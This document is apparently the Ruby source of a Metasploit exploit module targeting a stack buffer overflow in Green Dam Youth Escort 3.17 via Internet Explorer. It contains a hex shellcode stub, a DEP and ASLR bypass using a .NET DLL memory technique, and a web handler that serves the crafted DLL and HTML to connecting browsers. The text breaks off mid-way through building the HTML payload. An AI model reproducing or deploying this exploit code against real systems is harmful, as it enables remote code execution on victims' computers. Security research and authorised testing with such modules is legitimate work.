## # greendam_url.rb # # Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework # # Green Dam Youth Escort 3.17 successfully exploited on the following platforms: # - Internet Explorer 6, Windows XP SP2 # - Internet Explorer 7, Windows XP SP3 # - Internet Explorer 7, Windows Vista SP1 # # .NET binary is used to bypass DEP and ASLR # # Trancer # http://www.rec-sec.com ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Green Dam URL Processing Buffer Overflow', 'Description' => %q{ This module exploits a stack-based buffer overflow in Green Dam Youth Escort version 3.17 in the way it handles overly long URLs. By setting an overly long URL, an attacker can overrun a buffer and execute arbitrary code. This module uses the .NET DLL memory technique by Alexander Sotirov and Mark Dowd and should bypass DEP, NX and ASLR. }, 'License' => MSF_LICENSE, 'Author' => [ 'Trancer ' ], 'Version' => '$Revision$', 'References' => [ ['OSVDB', '55126'], ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System ['URL', 'http://www.milw0rm.com/exploits/8938'], # Original exploit by seer[N.N.U] ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory technique ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, # Temporary stub virtualalloc() + memcpy() payload to RWX page 'PrependEncoder' => "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+ "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+ "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+ "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+ "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+ "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+ "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+ "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+ "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+ "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }], ], 'DisclosureDate' => 'Jun 11 2009', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) ibase = 0x24240000 vaddr = ibase + 0x2065 if (request.uri.match(/\.dll$/i)) print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...") return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers vtable = [ vaddr + 4 ].pack("V") cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } # Append the shellcode vtable << p.encoded send_response( cli, Rex::Text.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', 'Connection' => 'close', 'Pragma' => 'no-cache' } ) return end print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...") j_function = rand_text_alpha(rand(100)+1) j_url = rand_text_alpha(rand(100)+1) j_counter = rand_text_alpha(rand(30)+2) html = %Q|